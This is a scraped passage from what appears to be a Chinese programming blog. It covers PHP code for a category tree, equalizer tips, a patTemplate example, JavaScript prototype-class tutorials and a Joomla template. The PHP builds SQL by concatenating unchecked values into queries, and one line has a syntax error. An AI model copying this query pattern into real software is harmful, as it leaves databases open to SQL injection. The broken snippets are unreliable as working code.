(\u0026quot;.$row[\u0026#8216;path\u0026#8217;].\u0026quot;) order by path\u0026quot;);\nreturn $rs-\u0026gt;fetchall();\n}\nfunction tree($id,$db){\n$rs=$db-\u0026gt;query(\u0026quot;select * from category where id=\u0026#8217;\u0026quot;.$id.\u0026quot;\u0026#8217;\u0026quot;);\n$row=$rs-\u0026gt;fetch(); $rs=$db-\u0026gt;query(\u0026quot;select * from category where path like \u0026#8216;\u0026quot;.$row[\u0026#8216;path\u0026#8217;].\u0026quot;%\u0026#8217; order by path\u0026quot;);\n$tree=$rs-\u0026gt;fetchall();\nforeach($tree as $key=\u0026gt;$row){\n$depth=explode(\u0026#8216;,\u0026#8217;,$row[\u0026#8216;path\u0026#8217;]);\n$depth=count($depth);\n$tree[$key][\u0026#8216;depth\u0026#8217;]=$depth;\n}\nreturn $tree;\n}\nfunction re_path($id,$parentpath=\u0026#8221;,$db){//此函数使用前需要先获得父节点的path\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if($parentpath\u0026lt;\u0026gt;\u0026#8221;){$path=$parentpath.\u0026#8217;,\u0026#8217;.$id;}else{$path=$id;}\n$sql=\u0026quot;update category set path=\u0026#8217;\u0026quot;.$path.\u0026quot;\u0026#8217; where id=\u0026#8217;\u0026quot;$id\u0026quot;\u0026#8217;\u0026quot;;\n$rs=$db-\u0026gt;query($sql);\n$sql=\u0026quot;select * from category where parentid=\u0026#8217;\u0026quot;.$id.\u0026quot;\u0026#8217;\u0026quot;;\n$rs=$db-\u0026gt;query($sql);\nwhile($row=$rs-\u0026gt;fetch()){\n\u0026nbsp;\u0026nbsp; re_path($row[\u0026#8216;id\u0026#8217;],$path,$db);\n}\n}\n","permalink":"https://hessian.cn/p/415.html","summary":"在一个标准的树形结构里面，一般要想知道的操作基本上有查询子树和查询所有父树（路径），还有就是查询子树自身的深度问题，通过前些日子的总结发现一种结构可以很好的满足这些要求。\nid parentID\u0026nbsp;\u0026nbsp; name \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; path\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n1 \u0026nbsp;\u0026nbsp;\u0026nbsp; 0 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 图书 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,1\n2 \u0026nbsp;\u0026nbsp;\u0026nbsp; 1 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 管理类 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,1,2\n3 \u0026nbsp;\u0026nbsp;\u0026nbsp; 2 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 名家作品 \u0026nbsp;\u0026nbsp;\u0026nbsp; 0,1,2,3\n4 \u0026nbsp;\u0026nbsp;\u0026nbsp; 2 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 国内 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,1,2,4\n5 \u0026nbsp;\u0026nbsp;\u0026nbsp; 2 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 外国 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,1,2,5\n6 \u0026nbsp;\u0026nbsp;\u0026nbsp; 0 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 文学类 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,6\n7 \u0026nbsp;\u0026nbsp;\u0026nbsp; 6 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 小说 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,6,7\n","title":"树形结构问题的一种解决办法"},{"content":"均衡器分段后的每个部分的作用：\n1、20Hz\u0026#8211;60Hz部分\n这一段提升能给音乐强有力的感觉，给人很响的感觉，如雷声。是音乐中强劲有力的感觉。如果提升\n过高，则又会混浊不清，造成清晰度不佳，特别是低频响应差和低频过重的音响设备。\n2、60Hz\u0026#8211;250Hz部分\n这段是音乐的低频结构，它们包含了节奏部分的基础音，包括基音、节奏音的主音。它和高中音的比\n例构成了音色结构的平衡特性。提升这一段可使声音丰满，过度提升会发出隆隆声。衰减这两段会使声音\n单薄。\n3、250Hz\u0026#8211;2KHz部分\n这段包含了大多数乐器的低频谐波，如果提升过多会使声音像电话里的声音。如把600Hz和1kHz过度\n提升会使声音像喇叭的声音。如把3kHz提升过多会掩蔽说话的识别音，即口齿不清，并使唇音\u0026ldquo;mbv\u0026rdquo;难\n以分辨。如把1kHz和3kHz过分提升会使声音具有金属感。由于人耳对这一频段比较敏感，通常不调节这一\n段，过分提升这一段会使听觉疲劳。\n4、2KHz\u0026#8211;4kHz部分 这段频率属中频，如果提升得过高会掩盖说话的识别音，尤其是3kHz提升过高，会引起听觉疲劳。\n5、4kHz\u0026#8211;5KHz部分\n这是具有临场感的频段，它影响语言和乐器等声音的清晰度。提升这一频段，使人感觉声源与听者的\n距离显得稍近了一些；衰减5kHz，就会使声音的距离感变远；如果在5kHz左右提出升6dB，则会使整个混\n合声音的声功率提升3dB。\n6、6kHz\u0026#8211;16kHz部分\n这一频段控制着音色的明亮度，宏亮度和清晰度。一般来说提升这几段使声音宏亮，但不清晰，不可\n能会引起齿音过重，衰减时声音变得清晰，但声音不宏亮。\n","permalink":"https://hessian.cn/p/409.html","summary":"均衡器分段后的每个部分的作用：\n1、20Hz\u0026#8211;60Hz部分\n这一段提升能给音乐强有力的感觉，给人很响的感觉，如雷声。是音乐中强劲有力的感觉。如果提升\n","title":"教你调均衡器"},{"content":"\n前面讲了一个phplib的使用，作为模板驱动的代表patTemplate一样有着稳定，快速开发等等的优点，下面介绍一个简单实用的例子，我们使用test.php来解析模板test.html 并使用patTemplate作为模板引擎\ntest.html 模板文件：\n\u0026lt;patTemplate:tmpl name=\u0026quot;article\u0026quot;\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;A patTemplate example\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h3\u0026gt;{HEADLINE}\u0026lt;/h3\u0026gt; {CONTENT} \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026lt;/patTemplate:tmpl\u0026gt; 其中的变量headlinecontent是需要我们通过patTemplate来解析过来的\ntest.php文件：\n\u0026lt;?PHP //包含进模板类文件\ninclude(\u0026quot;includes/patTemplate.php\u0026quot;);\u0026nbsp;\u0026nbsp;\n// 初始化模板对象\n$tmpl = new patTemplate();\u0026nbsp;\u0026nbsp;\n// 设定模板文件目录\n$tmpl-\u0026gt;setBasedir(\u0026quot;templates\u0026quot;);\u0026nbsp;\u0026nbsp;\n// 设定使用的模板文件\n$tmpl-\u0026gt;readTemplatesFromFile(\u0026quot;example1.tmpl.html\u0026quot;);\u0026nbsp;\u0026nbsp;\n// 向模板添加变量\n$tmpl-\u0026gt;addVar(\u0026quot;article\u0026quot;, \u0026quot;HEADLINE\u0026quot;, \u0026quot;This is the headline\u0026quot;); $tmpl-\u0026gt;addVar(\u0026quot;article\u0026quot;, \u0026quot;CONTENT\u0026quot;, \u0026quot;And this is the content\u0026#8230;\u0026quot;);\u0026nbsp;\u0026nbsp;\n// 最终解析并显示模板\n$tmpl-\u0026gt;displayParsedTemplate(\u0026quot;article\u0026quot;); ?\u0026gt;\u0026nbsp;\u0026nbsp; 这是最简单的一个例子，当然如果你熟悉PHPLIB的话，那么也可以轻松的在patTemplate里面使用象PHPLIB一样的循环结构，后面再介绍吧 ","permalink":"https://hessian.cn/p/512.html","summary":"\n前面讲了一个phplib的使用，作为模板驱动的代表patTemplate一样有着稳定，快速开发等等的优点，下面介绍一个简单实用的例子，我们使用test.php来解析模板test.html 并使用patTemplate作为模板引擎\ntest.html 模板文件：\n\u0026lt;patTemplate:tmpl name=\u0026quot;article\u0026quot;\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;A patTemplate example\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h3\u0026gt;{HEADLINE}\u0026lt;/h3\u0026gt; {CONTENT} \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026lt;/patTemplate:tmpl\u0026gt; 其中的变量headlinecontent是需要我们通过patTemplate来解析过来的\ntest.php文件：\n\u0026lt;?PHP //包含进模板类文件\ninclude(\u0026quot;includes/patTemplate.php\u0026quot;);\u0026nbsp;\u0026nbsp;\n// 初始化模板对象\n$tmpl = new patTemplate();\u0026nbsp;\u0026nbsp;\n// 设定模板文件目录\n$tmpl-\u0026gt;setBasedir(\u0026quot;templates\u0026quot;);\u0026nbsp;\u0026nbsp;\n// 设定使用的模板文件\n$tmpl-\u0026gt;readTemplatesFromFile(\u0026quot;example1.tmpl.html\u0026quot;);\u0026nbsp;\u0026nbsp;\n// 向模板添加变量\n$tmpl-\u0026gt;addVar(\u0026quot;article\u0026quot;, \u0026quot;HEADLINE\u0026quot;, \u0026quot;This is the headline\u0026quot;); $tmpl-\u0026gt;addVar(\u0026quot;article\u0026quot;, \u0026quot;CONTENT\u0026quot;, \u0026quot;And this is the content\u0026#8230;\u0026quot;);\u0026nbsp;\u0026nbsp;\n// 最终解析并显示模板\n$tmpl-\u0026gt;displayParsedTemplate(\u0026quot;article\u0026quot;); ?\u0026gt;\u0026nbsp;\u0026nbsp; 这是最简单的一个例子，当然如果你熟悉PHPLIB的话，那么也可以轻松的在patTemplate里面使用象PHPLIB一样的循环结构，后面再介绍吧","title":"patTemplate模板类的使用实例"},{"content":"4.使用prototype原型对象定义类成员 使用prototype对象来定义类成员可以避免每实例化一个对象就创建一次类成员的缺点。　当new一个function时，prototype对象的成员将自动赋给所创建的对象。 Demo2： 是一个JavaScript对象，可以为prototype对象添加、修改、删除方法和属性。从而为一个类添加成员定义。 ＜script language=\u0026#8221;JavaScript\u0026#8221; type=\u0026#8221;text/javascript\u0026#8221;＞\n＜!\u0026#8211; //定义一个只有一个属性caption的类　function cls(){ this.caption=1; } //使用函数的prototype属性给类定义新成员　cls.prototype.showcaption = function(){ alert(this.caption); } //创建cls的一个实例　var obj=new cls(); //调用通过prototype原型对象定义的showcaption方法　obj.showcaption();\n//\u0026#8211;＞\n＜/script＞ prototype\n了解了函数的prototype对象，现在再来看new的执行过程。 1\u0026gt;创建一个新的对象，并让this指针指向它； 2\u0026gt;将函数的prototype对象的所有成员都赋给这个新对象； 3\u0026gt;执行函数体，对这个对象进行初始化操作； 4\u0026gt;返回（1）中创建的对象。 prototype对象的所有成员初始化过程发生在函数体（构造器）执行之前，所以可以在函数体内部调用prototype中定义的属性和方法。\nDemo3：\n＜script language=\u0026#8220;JavaScript\u0026#8220; type=\u0026#8220;text/javascript\u0026#8220;＞\n＜!\u0026#8211; //定义一个只有一个属性caption的类 function cls()\u0026#8230;{ this.caption=1; this.showcaption(); } //使用函数的prototype属性给类定义新成员 cls.prototype.showcaption=function()\u0026#8230;{ alert(this.caption); }\n//创建cls的一个实例 var obj1=new cls(); //\u0026#8211;＞\n＜/script＞ 和上一段代码相比，这里在cls的内部调用了prototype中定义的方法showcaption，从而在对象的构造过程中就弹出了对话框，显示caption属性的值为1。 需要注意，原型对象的定义必须在创建类实例的语句之前，否则它将不会起作用。\nDemo4： showcaption方法，就是因为该方法的定义是在实例化一个类的语句之后。 ＜script language=\u0026#8221;JavaScript\u0026#8221; type=\u0026#8221;text/javascript\u0026#8221;＞\n＜!\u0026#8211; //定义一个只有一个属性caption的类 function cls(){ this.caption=1; this.showcaption(); } //创建cls的一个实例 var obj=new cls(); //在创建实例的语句之后使用函数的prototype属性给类定义新成员，只会对后面创建的对象有效 cls.prototype.showcaption=function(){ alert(this.caption); } //\u0026#8211;＞\n＜/script＞ 这段代码将会产生运行时错误，显示对象没有\n由此可见，prototype对象专用于设计类的成员，它是和一个类紧密相关的。\n除此之外，prototype还有一个重要的属性：constructor，表示对该构造函数的引用，例如： function cls(){ alert(1); } cls.prototype.constructor(); //调用类的构造函数 这段代码运行后将会出现对话框，在上面显示文字“1”，从而可以看出一个prototype是和一个类的定义紧密相关的。\n实际上：cls.prototype.constructor===cls。 ","permalink":"https://hessian.cn/p/389.html","summary":"4.使用prototype原型对象定义类成员 使用prototype对象来定义类成员可以避免每实例化一个对象就创建一次类成员的缺点。　当new一个function时，prototype对象的成员将自动赋给所创建的对象。 Demo2： 是一个JavaScript对象，可以为prototype对象添加、修改、删除方法和属性。从而为一个类添加成员定义。 ＜script language=\u0026#8221;JavaScript\u0026#8221; type=\u0026#8221;text/javascript\u0026#8221;＞\n＜!\u0026#8211; //定义一个只有一个属性caption的类　function cls(){ this.caption=1; } //使用函数的prototype属性给类定义新成员　cls.prototype.showcaption = function(){ alert(this.caption); } //创建cls的一个实例　var obj=new cls(); //调用通过prototype原型对象定义的showcaption方法　obj.showcaption();\n//\u0026#8211;＞\n＜/script＞ prototype\n","title":"JavaScript中类的定义[2]"},{"content":"5.较好的自定义类的方式 前面已经介绍了如何定义一个类，如何初始化一个类的实例，且类可以在function定义的函数体中添加成员，又可以用prototype定义类的成员，编程的代码显得混乱。\n如何以一种清晰的方式来定义类呢？下面给出了一种类的实现模式。 在JavaScript中，由于对象灵活的性质，在构造函数中也可以为类添加成员，在增加灵活性的同时，也增加了代码的复杂度。\n为了提高代码的可读性和开发效率，可以采用这种定义成员的方式，而使用prototype对象来替代，这样function的定义就是类的构造函数，符合传统意义类的实现：类名和构造函数名是相同的。\n例如： cls.prototype，不仅代码体积变大，而且易读性还不够。为了进一步改进，可以使用无类型对象的构造方法来指定prototype对象，从而实现类的成员定义： function cls(){ //构造函数\n} //成员定义 cls.prototype.someProperty=\u0026#8221;sample\u0026#8221;; cls.prototype.someMethod=function(){ //方法实现代码 } 虽然上面的代码对于类的定义已经清晰了很多，但每定义一个属性或方法，都需要使用一次\ncls，构造函数直接用类名来实现，而成员使用无类型对象来定义，以列表的方式实现了所有属性和方法，并且可以在定义的同时初始化属性的值。这也更象传统意义面向对象语言中类的实现。只是构造函数和类的成员定义被分为了两个部分，这可看成JavaScript中定义类的一种固定模式，这样在使用时会更加容易理解。 //定义一个类cls function cls(){ //构造函数 }\n//通过指定prototype对象来实现类的成员定义 class1.prototype={ someProperty:\u0026#8221;sample\u0026#8221;, someMethod:function(){ //方法代码 }, …//其他属性和方法. } 上面的代码用一种很清晰的方式定义了\n注意：在一个类的成员之间互相引用，必须通过this指针来进行，例如在上面例子中的someMethod方法中，如果要使用属性someProperty，必须通过this.someProperty的形式，因为在JavaScript中每个属性和方法都是独立的，它们通过this指针联系在一个对象上。\n","permalink":"https://hessian.cn/p/606.html","summary":"5.较好的自定义类的方式 前面已经介绍了如何定义一个类，如何初始化一个类的实例，且类可以在function定义的函数体中添加成员，又可以用prototype定义类的成员，编程的代码显得混乱。\n如何以一种清晰的方式来定义类呢？下面给出了一种类的实现模式。 在JavaScript中，由于对象灵活的性质，在构造函数中也可以为类添加成员，在增加灵活性的同时，也增加了代码的复杂度。\n为了提高代码的可读性和开发效率，可以采用这种定义成员的方式，而使用prototype对象来替代，这样function的定义就是类的构造函数，符合传统意义类的实现：类名和构造函数名是相同的。\n例如： cls.prototype，不仅代码体积变大，而且易读性还不够。为了进一步改进，可以使用无类型对象的构造方法来指定prototype对象，从而实现类的成员定义： function cls(){ //构造函数\n} //成员定义 cls.prototype.someProperty=\u0026#8221;sample\u0026#8221;; cls.prototype.someMethod=function(){ //方法实现代码 } 虽然上面的代码对于类的定义已经清晰了很多，但每定义一个属性或方法，都需要使用一次\ncls，构造函数直接用类名来实现，而成员使用无类型对象来定义，以列表的方式实现了所有属性和方法，并且可以在定义的同时初始化属性的值。这也更象传统意义面向对象语言中类的实现。只是构造函数和类的成员定义被分为了两个部分，这可看成JavaScript中定义类的一种固定模式，这样在使用时会更加容易理解。 //定义一个类cls function cls(){ //构造函数 }\n//通过指定prototype对象来实现类的成员定义 class1.prototype={ someProperty:\u0026#8221;sample\u0026#8221;, someMethod:function(){ //方法代码 }, …//其他属性和方法. } 上面的代码用一种很清晰的方式定义了\n注意：在一个类的成员之间互相引用，必须通过this指针来进行，例如在上面例子中的someMethod方法中，如果要使用属性someProperty，必须通过this.someProperty的形式，因为在JavaScript中每个属性和方法都是独立的，它们通过this指针联系在一个对象上。\n","title":"JavaScript中类的定义[3]"},{"content":"\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1.类的定义机制 1\u0026gt;用function关键字定义\u0026#8220;类\u0026#8220;。\n2\u0026gt;function内部通过this指针定义\u0026#8220;类\u0026#8220;的成员。\n3\u0026gt;function类似于其他语言中的构造函数(constructor)。\ndemo1： function cls()\n{ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; this.txt = \u0026#8220;111\u0026#8221;; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; this.display = function(){ alert(\u0026#8220;this is a test method\u0026#8221;); } } var obj=new cls(); 2.理解用new创建对象的过程\n通过new cls()获得对象obj，对象obj便自动获得了属性txt和方法display。 new 创建对象过程：　1\u0026gt;当解释器遇到new操作符时便创建一个空对象； 2\u0026gt;开始运行cls这个构造函数，并将其中的this指针都指向这个新建的对象； 3\u0026gt;当给对象不存在的属性赋值时，解释器就会为对象创建该属性。\n例如在cls中，当执行到this.txt=\u0026#8221;111\u0026#8243;这条语句时，就会添加一个属性txt，并把字符串\u0026#8220;111\u0026#8221;赋给它，这样函数执行就是初始化这个对象的过程，即实现构造函数的作用； 4\u0026gt;当函数执行完后，new操作符就返回初始化后的对象。 3.demo1中定义“类”的缺点\n在JavaScript中，function的定义实际上就是实现一个对象的构造器，是通过函数来完成的。这种方式的缺点是： ·将所有的初始化语句、成员定义都放到一起，代码逻辑不够清晰，不易实现复杂的功能。 ·每创建一个类的实例，都要执行一次构造函数。构造函数中定义的属性和方法总被重复的创建，例如： this.display=function(){ alert(\u0026#8220;this is a test method\u0026#8221;); } 每创建一个cls的实例，display都会被创建一次，造成了内存的浪费。　","permalink":"https://hessian.cn/p/422.html","summary":"\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1.类的定义机制 1\u0026gt;用function关键字定义\u0026#8220;类\u0026#8220;。\n2\u0026gt;function内部通过this指针定义\u0026#8220;类\u0026#8220;的成员。\n3\u0026gt;function类似于其他语言中的构造函数(constructor)。\ndemo1： function cls()\n{ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; this.txt = \u0026#8220;111\u0026#8221;; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; this.display = function(){ alert(\u0026#8220;this is a test method\u0026#8221;); } } var obj=new cls(); 2.理解用new创建对象的过程\n通过new cls()获得对象obj，对象obj便自动获得了属性txt和方法display。 ","title":"JavaScript中类的定义"},{"content":"body {\nmargin: 0px;\nbackground:#666666 url(../images/bg.jpg) repeat-y scroll center;\ncolor:#cccc99;\nfont-size:12px;\nfont-family: Arial, PMingLiU, Sans-Serif;\n}\na:link, a:visited {\ncolor:#cccc33;\ntext-decoration: none;\nfont-weight: normal;\n}\na:hover{color:#ff6600;text-decoration: underline;}\n#wrap{\nmargin:0 auto;\n}\n#header{\nmin-height:90px;\n}\n#headercnt{\nposition: relactive;\ntop:10px;\nheight:70px;\noverflow:hidden;\n}\n#mainbox{\nmargin:0 auto;\nwidth:700px;\n}\n#logo {\nposition: relactive;\nleft: 0;\ntop: 0;\nfloat: left;\nwidth: 200px;\nheight: 75px;\nbackground: url(../images/jeek-logo.gif) 0 0 no-repeat;\nmargin-left: 15px;\nmargin-top: 5px;\n}\n#tabarea{\nmargin:0 auto;\nwidth:100%;\nmin-height:24px;\nbackground:url(../images/heading.gif);\nbackground-repeat:repeat-x;\ntext-align: center;\n}\n#tabarea ul {\nmargin: 0;\npadding: 0;\nlist-style:none;\n}#tabarea li {\nfloat: left;\npadding:0;\nmargin: 4px 0px 0px 15px;\nfont-size:14px;\n}\n#tabarea li a{\ncolor:#ffff00;\nfont-weight:bold;\n}\n#patharea{\nmargin:0 auto;\nwidth:100%;\nmin-height:22px;\nbackground-color:#333300;\ntext-align: left;\n}\n#patharea .breadcrumbs{\nfloat:left;\nwidth:72%;\nmargin-left:15px;\n}\n#pathRight{\nmargin:0 auto;\nfloat:left;\nwidth:25%;\nbackground-color:#333300;\ntext-align: left;\n}\n#pathRight #mod_search_searchword{\nfont-size:12px;\npadding:0;\nmargin:2px;\ncolor:#999999;\nbackground:#333300;\nwidth:140px;\nheight:14px;\nborder-top:solid 1px #666666;\nborder-left:solid 1px #666666;\nborder-right:solid 1px #cccccc;\nborder-bottom:solid 1px #cccccc;\n}\n#pathRight .button{\nfont-size:12px;\npadding:0;\nheight:16px;\nmargin:0px;\ncolor:#999999;\nbackground:#333300;\nborder-top:solid 1px #cccccc;\nborder-left:solid 1px #cccccc;\nborder-right:solid 1px #666666;\nborder-bottom:solid 1px #666666;\n}\n#bodybox{\nclear:both;\n}\n#leftcol{\nfloat:left;\ntext-align:left;\nmargin:0px;\nwidth:25%;\n}\n#leftcol table{\nmargin:0 0 10px 10px;\nwidth:100%;\ntext-align:left;\n}\n#mod_login_username,#mod_login_password{\nwidth:85%;\nheight:14px;\ncolor:gray;\nborder:dotted 1px;\nbackground:#663333;\n}\n#leftcol .poll{\nmargin:0 0 10px 5px;\nwidth:100%;\ntext-align:left;\n}\n#leftcol ul{\nmargin:0;\npadding:0 0 10px 10px;\nlist-style-position:inside;\n}\n#leftcol li{\nwidth:90%;\nheight:14px;\noverflow:hidden;\n}\n#maincol{\nfloat:left;\nmargin:0px;\nwidth:73%;\nmin-height:600px;\ntext-align:left;\nborder-left:dashed 1px #999999;\n}\n#system-message{\nborder:solid 4px #660000;\nbackground:yellow;\ncolor:red;\nfont-weight:bold;\npadding-left:10px;\n}\n#bigbox{\nwidth:98%;\nmargin-left:3px;\nfloat:left;\n}\n#boxtop{\nborder-bottom:dashed 1px #999999;\nfloat:left;\nwidth:100%;\n}\n#boxtop ul{\nlist-style-position:inside;\nmargin:5px 0 5px 5px;\npadding:0 0 0 5px;\n}\n#boxtop li{\nwidth:90%;\nheight:14px;\noverflow:hidden;\n}\n#boxtop_l{\nwidth:50%;\npadding-top:5px;\nfloat:left;\n}\n#boxtop_r{\nwidth:49%;\npadding-top:5px;\nfloat:left;\nborder-left:dashed 1px #999999;\n}\n#boxmiddle{\nfloat:left;\n}\n.pagination span{\nmargin-left:4px;\n}\n.pagination a{\nmargin-left:4px;\n}\n#footer{\ncolor:gray;\nclear:both;\nborder-top:solid 1px black;\n}\n#footer #line{\nwidth:100%;\nclear:both;\nheight:15px;\nborder-top:solid 1px #999999;\n}\n\u0026lt;?php\n/**\n* @copyright Copyright (C) 2005 \u0026#8211; 2007 Open Source Matters. All rights reserved.\n* @license GNU/GPL, see LICENSE.php\n* Joomla! is free software. This version may have been modified pursuant\n* to the GNU General Public License, and as distributed it includes or\n* is derivative of works licensed under the GNU General Public License or\n* other free or open source software licenses.\n* See COPYRIGHT.php for copyright notices and details.\n*/\n?\u0026gt;\n\u0026lt;!DOCTYPE html PUBLIC \u0026#8220;-//W3C//DTD XHTML 1.0 Transitional//EN\u0026#8221; \u0026#8220;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\u0026#8221;\u0026gt;\n\u0026lt;html xmlns=\u0026#8221;http://www.w3.org/1999/xhtml\u0026#8221; xml:lang=\u0026#8221;\u0026lt;?php echo $this-\u0026gt;language; ?\u0026gt;\u0026#8221; lang=\u0026#8221;\u0026lt;?php echo $this-\u0026gt;language; ?\u0026gt;\u0026#8221; \u0026gt;\n\u0026lt;head\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;head\u0026#8221; /\u0026gt;\n\u0026lt;link href=\u0026#8221;templates/\u0026lt;?php echo $this-\u0026gt;template ?\u0026gt;/css/test.css\u0026#8221; rel=\u0026#8221;stylesheet\u0026#8221; type=\u0026#8221;text/css\u0026#8221; /\u0026gt;\n\u0026lt;/head\u0026gt;\n\u0026lt;body\u0026gt;\n\u0026lt;div id=\u0026#8221;top\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!\u0026#8211; 页面边框头部 \u0026#8211;\u0026gt;\n\u0026lt;div id=\u0026#8221;wrap\u0026#8221; align=\u0026#8221;center\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;mainbox\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;header\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;logo\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;headcnt\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;headerContent\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;tabarea\u0026#8221; align=\u0026#8221;center\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;navbar\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;tabArea\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;patharea\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;pathArea\u0026#8221; /\u0026gt;\n\u0026lt;div id=\u0026#8221;pathRight\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;pathRight\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;bodybox\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;framehead\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!\u0026#8211; 正文部分边框头 \u0026#8211;\u0026gt;\n\u0026lt;div id=\u0026#8221;leftcol\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;leftColum\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;maincol\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;bigbox\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;message\u0026#8221; /\u0026gt;\n\u0026lt;?php if($this-\u0026gt;countModules(\u0026#8216;boxTopLeft or boxTopRight\u0026#8217;)): ?\u0026gt;\n\u0026lt;div id=\u0026#8221;boxtop\u0026#8221;\u0026gt;\n\u0026lt;?php if($this-\u0026gt;countModules(\u0026#8216;boxTopLeft\u0026#8217;)): ?\u0026gt;\n\u0026lt;div id=\u0026#8221;boxtop_l\u0026#8221;\u0026gt;\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;boxTopLeft\u0026#8221; /\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;?php endif; ?\u0026gt;\n\u0026lt;?php if($this-\u0026gt;countModules(\u0026#8216;boxTopRight\u0026#8217;)): ?\u0026gt;\n\u0026lt;div id=\u0026#8221;boxtop_r\u0026#8221;\u0026gt;\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;boxTopRight\u0026#8221; /\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;?php endif; ?\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;?php endif; ?\u0026gt;\n\u0026lt;div id=\u0026#8221;boxmiddle\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;boxMiddle\u0026#8221; /\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;component\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;boxbottom\u0026#8221;\u0026gt;\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;boxBottom\u0026#8221; /\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;framefoot\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!\u0026#8211; 正文部分边框底部 \u0026#8211;\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;footer\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;line\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; 